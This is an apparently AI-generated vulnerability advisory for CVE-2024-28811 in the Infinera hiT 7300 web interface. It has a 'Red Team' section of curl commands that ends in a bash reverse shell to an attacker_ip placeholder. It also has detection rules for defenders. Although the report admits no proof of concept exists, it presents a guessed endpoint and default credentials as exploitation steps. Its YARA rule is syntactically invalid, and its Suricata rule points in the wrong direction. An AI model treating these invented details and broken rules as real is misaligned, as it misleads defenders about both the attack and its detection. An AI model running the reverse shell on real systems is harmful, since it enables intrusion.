CVE-2024-28811

Executive Summary

CVE-2024-28811 is a critical vulnerability in Infinera hiT 7300 running version 5.60.50. The flaw allows a remote privileged attacker to execute arbitrary applications contained in a specific OS directory via HTTP invocations. This effectively grants an authenticated attacker command execution capabilities on the underlying operating system, bypassing intended access controls. The vulnerability resides in the web application component of the device, which fails to properly sanitize or restrict HTTP requests that invoke executables from a designated OS directory. Given the nature of the device (a telecommunications transport platform), exploitation could lead to network segmentation bypass, data exfiltration, or lateral movement within carrier-grade networks. No public proof-of-concept or patch details are currently available.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No vector provided by NVD) Threat Level: Critical (based on impact analysis)

Rationale: Although the CVSS score is listed as 0.0, the vulnerability allows remote code execution with elevated privileges. In a carrier-grade environment, this could compromise the entire network infrastructure. The lack of a CVSS vector is likely due to incomplete NVD data, but the technical description clearly indicates a high-severity issue.

Deep Dive & Mechanics

The vulnerability exists in the web application component of the Infinera hiT 7300. The device exposes an HTTP interface for management and configuration. A remote attacker with valid credentials (privileged user) can craft HTTP requests that reference executable files located in a specific OS directory (e.g., /usr/local/bin/ or /opt/infinera/bin/). The web application does not validate or restrict which executables can be invoked, allowing the attacker to run arbitrary system commands.

Attack Flow:

1. Attacker authenticates to the web interface with privileged credentials.
2. Attacker identifies the vulnerable endpoint (e.g., /cgi-bin/exec or similar).
3. Attacker sends a crafted HTTP request with a parameter pointing to a malicious or unintended executable.
4. The web server executes the binary with the privileges of the web application (likely root or a high-privilege service account).
5. Attacker gains remote code execution on the device.

Root Cause: Lack of input validation and insufficient access controls on the HTTP endpoint that invokes OS-level executables.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable CGI script
import subprocess
import cgi

form = cgi.FieldStorage()
cmd = form.getvalue('cmd')
if cmd:
    subprocess.call(cmd, shell=True)

Patched Code (Conceptual):

# Example of patched CGI script
import subprocess
import cgi
import os

ALLOWED_COMMANDS = ['/usr/bin/ping', '/usr/bin/traceroute']

form = cgi.FieldStorage()
cmd = form.getvalue('cmd')
if cmd and cmd in ALLOWED_COMMANDS:
    subprocess.call(cmd, shell=False)
else:
    print("Command not allowed")

Note: Since no official patch is available, the above is a hypothetical fix. The vendor should implement a whitelist of allowed executables and avoid using shell=True in subprocess calls.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Infinera hiT 7300 (firmware 5.60.50)
• Attacker: Kali Linux with network access to the management interface
• Credentials: Valid privileged user (e.g., admin/admin)

Exploitation Steps:

1. Authenticate to the web interface:

   curl -X POST -d "username=admin&password=admin" http://target/login
   

2. Identify the vulnerable endpoint (e.g., /cgi-bin/exec):

   curl -v http://target/cgi-bin/exec?cmd=/bin/ls
   

3. Execute arbitrary commands:

   curl -v "http://target/cgi-bin/exec?cmd=/bin/bash -c 'id'"
   

4. Establish a reverse shell:

   curl -v "http://target/cgi-bin/exec?cmd=/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'"
   

Expected Output: The attacker gains a shell on the device with elevated privileges.

Blue Team

Detection & Response:

• Monitor HTTP logs for unusual cmd parameters or unexpected executable paths.
• Implement network segmentation to isolate management interfaces.
• Deploy WAF rules to block requests containing shell metacharacters or suspicious paths.
• Enable logging of all command executions on the device.

Hunting Queries:

• Search for HTTP requests with parameters containing /bin/, /usr/bin/, or /opt/.
• Look for outbound connections from the device to unusual IP addresses on ports 4444, 1337, etc.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /cgi-bin/exec or similar endpoints with cmd parameter.
• Outbound connections from the device to attacker-controlled IPs on high ports.
• Unusual DNS queries from the device.

Host IOCs:

• Unexpected processes running as root (e.g., /bin/bash, /bin/sh).
• New files in /tmp/ or /var/tmp/ with suspicious names.
• Modified system binaries or scripts.

Log IOCs:

• Web server logs showing cmd= parameters with shell commands.
• System logs showing execution of binaries outside normal operation.

Detection Engineering

YARA Rule

rule CVE_2024_28811_Infinera_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-28811"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28811"
    strings:
        $cmd_param = "cmd="
        $shell_cmd = "/bin/bash" or "/bin/sh" or "/usr/bin/"
        $http_method = "GET" or "POST"
    condition:
        $cmd_param and $shell_cmd and $http_method
}

Sigma Rule

title: CVE-2024-28811 Infinera hiT 7300 RCE Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-28811
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/cgi-bin/exec'
        cs-uri-query|contains: 'cmd='
    condition: selection
falsepositives:
    - Legitimate administrative use (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-28811 Infinera hiT 7300 RCE Attempt";
    flow:to_server,established;
    content:"/cgi-bin/exec"; http_uri;
    content:"cmd="; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict network access to the management interface to trusted IPs only.
2. Disable the vulnerable web endpoint if not required.
3. Implement strict input validation and whitelisting of allowed commands.

Long-term Fix:

• Apply vendor patch when available.
• Upgrade to a patched firmware version.
• Conduct a security audit of the web application code.

Workarounds:

• Use a reverse proxy with WAF capabilities to filter malicious requests.
• Implement application-level authentication and authorization checks.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.